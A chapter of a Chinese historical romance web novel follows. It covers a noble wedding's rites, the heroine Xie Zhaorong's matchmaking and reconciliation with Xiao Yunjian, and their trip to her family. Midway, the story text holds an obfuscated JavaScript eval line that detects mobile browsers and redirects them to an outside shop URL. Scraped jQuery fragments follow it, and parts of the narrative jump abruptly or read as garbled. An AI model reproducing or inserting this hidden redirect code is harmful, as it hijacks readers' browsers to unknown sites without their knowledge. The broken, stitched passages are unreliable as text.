大婚前夕,行催妆古礼。
催妆,是南北朝最盛行的婚前民俗,高门士族、皇室婚嫁必备。由男方宗族子弟、同辈亲友,入女眷居所催妆,赋诗祝颂、礼贺新人,寓意吉时将至、佳期圆满、新人早妆成礼。
夜色初临,萧氏内宅灯火璀璨,烛火连片,映得满院锦绣通明。
族中同辈子弟齐聚庭院,皆是士族年轻儿郎,温雅端方、文采斐然。
萧煜立在最前,神色温润从容,静待催妆礼成。
院内诗乐轻起,子弟依次作催妆诗,句句恭贺、字字吉祥,赞公主风华、颂两族良缘。
谢照容陪在司马太真身侧,立于帘内,静静听着外面声声贺祝、句句圆满。
帘外喧嚣贺喜,帘内安静温柔。
司马太真轻声叹道:“世间婚嫁,大抵皆是这般热闹圆满。”
谢照容垂眸浅笑,温声应道:“阿姐良缘天定,门第相当、人貌相配,自是该得世间万般恭贺、岁岁圆满。”
她有些心不在焉,明日就要布置婚房,谢照容原本以为有礼官在场,不必她再相陪,接过刚刚礼官嬷嬷又叫她明日一早就去准备,谢照容只觉得灵魂都要被抽走了。
司马太真转头看她:“阿洛,我有些头疼。”
谢照容一愣,才意识到司马太真看起来脸颊有些泛红。
“我去给你拿药。”谢照容左右看着,因与外男只有一处屏风相隔,她无法出声唤伺候的婢女过来,只得自己从屏风后绕出,找到素娘,让她进去照应,自己则一路去了司马太真居住的卧房。
此时,萧云谏亲自入内督礼。
礼炮的声音在卧房中也能听见,谢照容却被书案上敞开的信封吸引了注意。
而这几封信,此时就在谢照容的袖中。
放在司马太真那里,不过是萧煜与萧云谏之间往来的书信。按照皇室要求,萧煜尽数上缴,供司马太真查阅。
这里面赫然有萧云谏的回信,告知萧煜,谢二姑娘已经从荥阳启程,不日就要到琅琊,希望他尽地主之谊。
另外还有一封,是最近的,萧煜在信中询问萧云谏与谢照容的进展,萧云谏言辞狠戾,警告他不要动不该动的心思。
萧云谏虽不知道谢照容又看到了什么,但大概的他也猜得出来,没有再说什么,萧云谏将谢照容揽进怀里,低声道:“阿洛,你且放心,我从未想要谋算过你。”
晨光初透,妆成礼毕。整座兰陵萧氏祖府已然灯火通明、人声井然。
司马太真身着制式大婚翟衣,锦绣华贵、龙凤呈祥,冠钗巍峨、珠翠琳琅,皇家嫡公主的雍容风华尽数绽开,端庄盛大,举世无双。
谢照容执起合欢团扇,轻轻递到她手中。
“表姐,吉时将至,持扇却礼,静待亲迎。”
却扇之礼,始于汉魏、盛于南北朝,新妇大婚全程执扇遮面,端庄含蓄,待合卺礼毕方可撤扇露容,是高门大婚最核心的风雅礼制。
司马太真稳稳执扇,端坐静待。
辰时正刻,亲迎礼乐震天响起。
萧煜一身士族嫡子大婚吉服,俊秀端雅、温润如玉,率宗族亲迎队伍,仪仗浩荡、礼乐齐鸣,循序前往内宅亲迎新妇。
一路红毯铺地、鼓乐喧天、礼官唱赞、族人恭贺。
亲迎入堂,行庄重亲迎礼,礼官朗声颂祝两族良缘吉语。
礼毕,新人移步登车,前往宗祠正堂行大婚大典。
沿途行障车古礼。
士族亲友、邻里乡贤拦路障车,赋诗讨喜、恭贺新婚,这是当时最热闹盛大的婚嫁民俗,寓意拦尽灾厄、迎来吉祥、婚姻稳固、岁岁圆满。
一路礼度周全、盛况空前。
行至宗祠正堂,吉时正式落定。
满堂族老、宾客、官僚、士族亲友尽数列席,满座衣冠、满堂尊贵。
新人入堂,行大婚三拜大礼:
一拜天地山河,天地为证,良缘永固;
二拜宗族先祖,祖宗庇佑,家世绵长;
三拜夫妻相敬,余生相守,和顺同心。
礼乐铿锵,祝文浩荡,百年高门、皇室联姻的盛大隆重,尽数铺展眼前。
次日一早,谢照容拜别圣上与司马太真,带东夷、绿姚一路回了荥阳。
远离兰陵的喧闹,谢照容只觉得颇为轻松。她与东夷、绿姚,一行人走走停停,去吃麻酱面筋,安阳烩菜,好不愉快。
这日里到了荥阳,邢夫人得到消息早早出城等候,她与谢照容这半年里都是匆匆一见,不曾有更多相处,这次直接邀请谢照容去了城中樊楼,见到樊楼往来宾客,谢照容才知道邢夫人已经将此处盘点下来。
邢夫人为人低调,掌柜的只知道她是一个颇有钱财的寡妇,见谢照容与她同来,好不惊讶。连连将两人迎上楼去,邢夫人张罗着将菜谱拿出来,笑道:“今儿你来,只管挑些你喜欢吃的。”
谢照容一看,菜谱上囊括了五湖四海的美食,笑道:“还从没在荥阳吃过口水鸡呢,今儿来就尝尝。”
邢夫人立刻招呼人照办,随后又安排了水煮牛肉,清炖猪蹄等,品样丰富的让谢照容连连叫停。
“怎么没见使君和你一起回来?”饭吃到了一半,气氛放松了许多,邢夫人问道。
谢照容一愣,笑了笑,道:“他那边还有事情忙呢。”
邢夫人目光中流露出几分关切,道:“那日你兄长来过,说起庚帖的事情,我多问了几嘴。”
“他心思这样缜密,你担心的不无道理。”邢夫人越说越起劲儿:“我这些天也打听了,城东有一户姓柳的人家,是河东柳氏子弟,他家有一个儿郎,与你年岁相仿,人很不错,生的也俊俏。如今在桂林郡参军,听说已经成为了千夫长,这几日正好在家,不如你去相看一番。”
“啊?”谢照容愣怔住了。
邢夫人道:“若是你不喜欢,我再为你找就是了,还有城北的沈郎,模样生得很是好看,还有西郊的王公子,是今年的三甲呢,若你瞧得上,只管安排他来荥阳就职......”
谢照容脑海中画面一闪,这几日的事情就像是走马灯一样汇聚成了一幅画面,随即一拍桌子道:“好!就这么定了。”
于是,在桂林郡参军的柳家儿郎,城北的沈郎,西郊的王公子,就这样出现在了谢照容面前。
谢照容杵着脸,一个又一个的相看着,旁边邢夫人还时不时问道:“这个怎么样?这个呢?”
谢照容歪着头想了想,道:“看着其实也行,就怎么总觉得差点意思呢......”
绿姚笑嘻嘻的说道:“夫人,要不你再给姑娘寻几个呢?”
邢夫人说道:“既然是这样,那我就在寻几家儿郎,总会有你喜欢的。”
绿姚看出了谢照容的心思,借着与邢夫人玩笑的机会,将对方拉走了。东夷在旁边看着,此时为谢照容送上茶水,道:“姑娘心中苦楚,婢瞧得明白。”
谢照容没说话,东夷又说道:“姑娘瞧不上这些儿郎,就是再换一些,也还是惦念着使君。其实姑娘想想,往后和使君相处纠缠之处只会越来越多,人人都要计较得失比,使君也不是个没感情的,怎么就会轻易放弃了姑娘呢。”
这才是终于说到了心坎儿上,谢照容靠在软椅中,天边的亮已经没了,昏沉沉的看样子很快就会下雨。
“我心里如何不知道呢,这些年在外面见过不少郡侯家的子侄,哪一个也不如他和我心意。只是我没想过他用情如此之深,唯恐日后相处被这份感情困住。”谢照容阂上双眼,语气中带着这些天积攒下来的疲惫。
东夷在谢照容脚边坐下,道:“姑娘旁的不用想,就想想这份感情是不是自己想要的。若是放弃了也不后悔,就明明白白的和使君说,若是心中惦念,何不就享受当下,再说退一万步讲,就是有一日真要放弃,也该是姑娘厌弃了使君才是呢。”
说完东夷自己也笑了起来,谢照容也跟着笑了,几句话说下来,这些天心中郁结感觉松快不少。
其实她自己早就有答案,只是需要时间过渡罢了。
又赖在邢夫人这里用过晚膳,谢照容闲来无事,在街上走走。
她已经很久没有这样放松的享受某一段时光了,这种安顿又美好的感觉真让人沉溺。
她慢慢地走着,看着街边来来往往的人群。
忽然,似乎有雨滴从头顶掉落,谢照容抬头看了一眼,天空黑漆漆的,什么也瞧不出来,心想不会那么快就下起雨,谢照容也没在意,继续往前走着。
不一会儿,大雨点噼里啪啦地落了下来,谢照容赶快躲进旁边人家的屋檐,就在这时,一道身影出现在了她的旁边。
那人比她要高上半头,又站在外侧,将倾斜的雨完全遮挡。
谢照容不想理他,将头偏向一侧。萧云谏却不允许,一个伸手将她抱在怀里。她反应很快,还没等对方将这个拥抱落实,人已经向相反的方向跨出脚步。
萧云谏紧跟着探出身子,手臂一伸,眼见捞不住她,只能跟着她的力道一起入了雨中,随后向前一带,将她代入马车。
车厢里面软软的,铺着从西域进贡的羊毛毯,还有一点若有若无的佛手香,像是在寺庙里上过香残存的味道。
这让谢照容有些惊诧。
他从不去上香,即使是在上战场前。
她有些好奇,却没有开口去问,因为此时萧云谏手中正拿着一块柔软的帕巾,在为她仔细地擦拭鞋上沾染的尘沙。
“他们......有我好吗?”
想到了他一定会问,可是当这句话真实的落在耳中的时候,谢照容才真正感受到了心头发颤,他那种带着一些祈求的语气,让谢照容很难不联想到马车里若有若无的佛手香。
她静静地看着他,那双漂亮的杏核眼就像是头一次见到他似的,认认真真,似乎要将眼前这个人的骨骼看透,描皮画骨,才算安心。
萧云谏一动不动,接受着她的审视,也在接受着命运的结果。
下一秒,让他意想不到的,谢照容那双白皙的手忽然攀上了他的脖颈儿,拉住了他的衣领,而后小小的嘴巴靠上来,萧云谏惊讶的睁大了眼,没有感受到对方的回应,谢照容疑惑地歪了歪头,就在姑娘即将要退缩的时候,一只大手按住了她的后脑,加深了这个吻。
马车依旧在噜噜的向前行驶着,他吻得深切,吻得用力,谢照容几乎只要被动地配合他,就能获得飘飘欲仙的舒服之感,连日的困顿在这一刻完全席卷了她的神经,困意再也控制不住,终于将她的肢体动作也夺走了。
感受到异样,萧云谏停了下来,看着怀里姑娘上下打架的眼皮,唇角勾起一抹笑,但他并没有打算就这样放过她,让她躺在毛毯上,也不忘将人圈在怀里,另一只手臂撑着头,眉眼带笑地看着她的睡颜。
谢照容是困的厉害,却也不是一点意识都没有。她转过身子,向萧云谏怀里靠了靠,找到一个舒服的姿势,用手指转着圈的把玩着萧云谏垂在肩上的头发,哼哼唧唧地问道:“你怎么这么晚才来?”
“晚呀。”萧云谏侧着耳朵,在听清楚这句话之后,他愉快地仰起头,眉眼之间闪过一丝痛快的笑意,而后,这种愉快让他陷入了一个无比珍惜的漩涡,他再也无法忍受失去她的痛苦,哪怕是像前几天一样,只是一个没有笑容的她。
“我知道消息很快就回来了。”萧云谏低低的声音说道,他将外套脱下,盖在谢照容身上,谢照容在他的关照下,一点一点沉沉的睡了过去。
朦朦胧胧之间,谢照容听见萧云谏在说这几天的近况,说什么云牧泽恐怕有异心,临走前小皇帝与他商讨,决定暂时回建康,等云牧泽按耐不住,自会起兵征讨,这时候就是围剿他的机会。
“那你还得回去......”谢照容在被萧云谏抱下马车的时候,轻轻的嘟囔了一句,萧云谏听清了,随后笑道:“去去就回,如今也就剩下桂林郡了,若是能够收归中央,天下平定,咱们也就不必常常奔波了。”
东夷和绿姚见萧云谏将谢照容抱回,赶忙将床铺前的垂帘撩起,萧云谏将人轻柔放下,又压好了被角,随后就离开了。
东夷烧好热水,为谢照容卸去妆容,这一觉睡得沉稳,醒来时天已然全亮。地面上还有些昨日雨水留下的痕迹,只那星星点点,反倒成了晴空万里的点缀。
萧云谏一早就过来了,带着温度正好的羊肚菌汤。
这间荥阳的起居室,萧云谏还是头一次来,见谢照容靠床边坐着,正在认真看一封信。就没有打扰,将带来的膳食一样样展开放在桌上。
“你来的刚刚好。”谢照容看了一眼桌上的羊肚菌汤,还有一碟拌好的海带丝:“今儿可是起晚了。”
萧云谏将一碟玉米窝窝放在离谢照容更近的地方,他没有说话,而是耐心地等谢照容看完信,才说道:“吃饭吧。”
谢照容应了一声,随口说道:“明日要到陈郡去,兄长送信来,说嫂子有了身孕,这是喜事,我得回去看看。”
“这是应该的。”萧云谏应道,他似乎对这件事情很有兴致,用过早膳就张罗着要选些礼品一同带回去。
简单收拾之后,谢照容决定与东夷到街上去选几样漂亮的布料。
“看见有什么好吃的,也买一些带回去。”萧云谏见谢照容要上街,急忙叮嘱道。
谢照容回头对他笑了笑,这份笑还是自上次武昌一事之后,她主动在自己面前展露笑颜,萧云谏一瞬间有些错愕,随后而来的欣喜几乎要将他的理智淹没,他开始构想与谢家人会面的种种场景,以及自己应该如何应对。
末了,兴奋不住,叫来笛楠:“将我从太原来带来的那两坛酒封好装车。”
“主子这是要去陈郡?”笛楠已经听东夷说了,这会儿听到萧云谏安排,忍不住问上一句。
不出意外的,他没有得到萧云谏的回答。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872720|212263||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
次日一早,谢照容领着东夷、绿姚两人出现在府门,惊愕地看见一排马车出现在了眼前,每辆车上都装有厚重的行囊,包括但不限于各种美酒、药材、布匹等。
“这是做什么?”谢照容问道。
“自然是和你一起回陈郡呀。”萧云谏从一众货箱中抬起头来,朝谢照容微微一笑,没得到对方的回应,他上前一步,带着几分讨好说道:“你就让我跟你一起回去吧,路上还能有个照应,岂不是很好?”
谢照容直愣愣地看着他,就像是在看一件新鲜货儿,随后一笑,也没理他,径直翻身上马。
这一笑看的萧云谏心里突突的,转身上前,一伸手抓住了谢照容胯下骏马的缰绳,哑声道:“阿洛,可又是我哪里惹你不高兴了......你直说,这样我......”
谢照容双手勒住骏马缰绳,俯下身,凑在萧云谏耳边,笑道:“我在笑呀,我们少主这回不玩偶遇啦——”
她语调轻柔,像是撩人魂魄的钩子,惹得萧云谏心里直痒痒,他咽了一下嗓子,在侧身的时候轻轻别开几分脸,他不想让她瞧见,至少不想让她知道,仅仅是这样的触碰就已经让他难以忍耐。
随后又想到她的话,他笑起来,翻身上马,追着前头那个靓丽的身影而去。
若不是与他同行,谢照容大概会直接奔赴陈郡,两个时辰的路程实在是不值得她下马歇息。
但奈何那位一会儿要喝水,一会儿又要吃果子的,眼见前头有一处小溪,谢照容值得安排众人在前面歇息。
东夷牵着马儿去溪边喝水,不一会儿笛楠也跟着过去了,绿姚见就剩自己一个,也悄悄跑去那边玩了。
谢照容没注意这些,她站在溪边眺望远方,萧云谏跟了上去,递上一囊开了盖的清水。
她喝了几口,又还了回去,萧云谏接过,自然的拿起来喝了。谢照容看见他在自己喝过的地方喝了水,有种很微妙的感觉爬上心头。
而他很快看了过来,谢照容为了掩盖心中的想法,也对他笑了笑,晨曦的微光下,她的眼眸亮晶晶的,额头和鼻尖因为赶路渗出一层细细的薄汗,玉白的肌肤渗透出淡淡的红韵,很是漂亮。
萧云谏看得出来,她今天心情很好。
那种愉快是带着几分轻松的,就像是有什么事情,已经经过时间的考验,在她的心底里找出答案。
他望着凉风习习吹动她鬓间头发的模样,拿起水囊,又喝了几口。
目光一直落在她身上,以至于水囊举的太高了,他也没注意到。囊中的水大量流出来,顺着嘴角滑过喉咙。
突如其来增加的水量让他一瞬间无法承受,忽然就被呛了一下,咳嗽起来,一缕清水趁机顺着囊嘴一路向下,打湿了他的脖颈儿和衣襟。
谢照容正蹲在递上用手帕擦拭鞋尖上的泥渍,听到他咳嗽,转头过来忙帮他拍后背。
萧云谏本没什么事情,见她过来,又是一副关心的模样,更是又多咳嗽了几声。
谢照容瞧着,道:“也没人更你抢,喝这么急做什么?”
萧云谏没说话,站着也不动,忽然蹲下身子,仰头看着她:“阿洛,你今儿真好。”
谢照容不明所以,道:“我哪里不好?”
萧云谏没有再说,而是在起身的瞬间,在谢照容的腰上掐了一下。他明明没有用力,可谢照容故意‘哎哟’出声,随即就疼得拧了眉。
萧云谏已经走开了,一个伸手又将她抱在怀里,手扶的位置正是刚刚触及到的地方,他手掌有力,一只手撑着仍能为她揉一揉腰间软肉。
谢照容嬉笑着,故意靠在他怀里,头枕在他的肩头,哼哼唧唧的说道:“你弄疼我了。”
萧云谏垂眸笑着,手掌变换位置,不厌其烦的问道:“这次呢?”
“还是疼.....”
“这里呢?”
“也疼。”
萧云谏忽然手上用力,手臂向上一带,将谢照容整个人抱起,快步往前走像是故意要将她摔在地上一样,笑道:“这次如何呢?”
谢照容已经没有功夫回答他了,本能的反应是身伸手搂住他的脖颈儿,一双腿扑腾着,随即又笑起来。
这会儿已经到之前停马的地方,谢照容一瞥眼看见了等候在那边的东夷、绿姚和笛楠,这三个人很显然已经注意到了这边的动静,纷纷站在原地静默观看。她推了一下萧云谏,低声道:“你那个小侍卫正看着呢。”
萧云谏将她放下来,边说道:“他现在不看了。”
谢照容闻言转过头去,才见那三个人纷纷背过身,故意装作很忙却时刻关注着这边的动静。
“那我们就走吧。”谢照容故意要将这几个人抛下,结果还没上马,那三个人就跟了过来。
她从挎兜里拿出果子,给几个人分享。
一路吃吃走走,很快就抵达了陈郡城门之外。
守城的人认识谢照容,忙大开城门相迎,又派人去郡守府传信儿。
距上次回陈郡已有一年时光,虽在中间见过几次兄长,却始终未和父母相见,眼见就到家了,谢照容竟有几分激动。
谢衔川听闻妹妹归陈郡,很是高兴,叫人安排宴席接风,与夫人姬氏一起在门外翘首等待。又让人去禀告居住在别院的父亲与母亲。
谢照容与这位嫂嫂年少时同在一所女学就读,虽及笄以后仅在定亲的时候见过几面,但年少时的情谊还在,一见面说上几句便开始嘻嘻笑笑了。
谢衔川与萧云谏早就见过,两人在后面走着,谢照容扶着嫂嫂姬氏,在前面入了府门。
谢衔川笑道:“今儿来是不是要拜见我父亲了?”
萧云谏笑而不语,道:“我今日带了一幅《寒江图》,笔墨飘逸如风卷残云,更绝的是,这幅画的细微之处,就连钓鱼者的蓑衣,蓑毛根根清晰。”
谢衔川抿了一下唇,道:“我与你说这事,你与我说画作。若是不与我父亲相见,你就不必登门拜访了。”
“诶——”萧云谏说道:“不要恼,这幅画我可是特意带过来送与你的。”
“送与我的啊。”谢衔川一愣,随即笑道:“怪不得我妹妹说你心思深沉,不过甚合我意,甚合我意。”
他往前走了几步,又停下来,等萧云谏跟上才说道:“不过我父亲如今在别院居住,我们还是去拜见一下比较好,带上几坛好酒。早上我也和阿箬说了,让她陪着妹妹一同去,这样我母亲也在那边,可以一同见一见。”
萧云谏道:“这是应该的,尽听兄长安排。”
谢照容站在门边,听到这声兄长,笑道:“这回哥哥可是愿意了,你尽挑些他爱听的说。”
后面这句却是对萧云谏说的。
萧云谏笑道:”我与郡侯本就投缘。”
相比之下,谢衔川的举止就要稳重多了,与谢照容道:“父母还在别院,我已经着人禀告了,一会儿略微收拾,我们就上去吧。”